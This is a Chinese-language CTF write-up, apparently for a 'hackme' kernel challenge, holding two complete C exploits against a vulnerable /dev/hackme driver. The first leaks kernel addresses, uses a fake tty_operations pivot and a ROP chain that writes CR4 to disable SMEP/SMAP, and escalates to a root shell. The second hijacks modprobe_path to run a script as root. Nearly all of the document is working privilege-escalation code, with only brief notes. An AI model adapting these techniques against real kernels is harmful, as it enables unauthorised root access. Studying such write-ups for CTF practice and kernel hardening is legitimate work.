kernel heap bypass smep,smap && 劫持modprobe_path
exp1
smep:smep即使用者資料不可執行，當 CPU 處於 ring0 模式時，執行使用者空間的程式碼會觸發頁錯誤，系統根據CR4暫存器的第20位判斷核心是否開啟smep，為1時開啟，為0時關閉（第21位是SMAP位）。
smap:smap使用者資料不可訪問。
通過控制cr4暫存器為0x6f0即可繞過。
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}
void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
}
void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}
int main()
{
save_status();
char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}
add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2);
show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr);
int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
}
show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;
int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
add(2, 0x100, (char *)rop);
fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;
fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr;
((size_t *)buf)[3] = heap_addr + 0x100;
delete(3);
add(3, 0x100, (char *)fake_tty_operations);
edit(1, 0x400, -0x400, buf);
write(fd_tty, "FXC", 3);
return 0;
}
exp2
mod_tree：可以洩露驅動地址，當堆疊中找不到時可以來這裡查詢。
modprobe_path：當我們執行一個非法檔案時，就會以root許可權去執行modprobe_path所指向的檔案，通常是指向/sbin/modprobe，如果改成我們建立的cat flag的檔案，那麼就可以拿到flag
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};
void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}
void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC");
system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag");
sleep(5);
}
int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}
char buf[0x1000] = {0};
add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4
delete(1);
delete(3);
show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base);
show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960;
memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf);
add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6
show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base);
delete(2);
delete(5);
getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf);
add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8
((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf);
strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf);
get_flag();
return 0;
}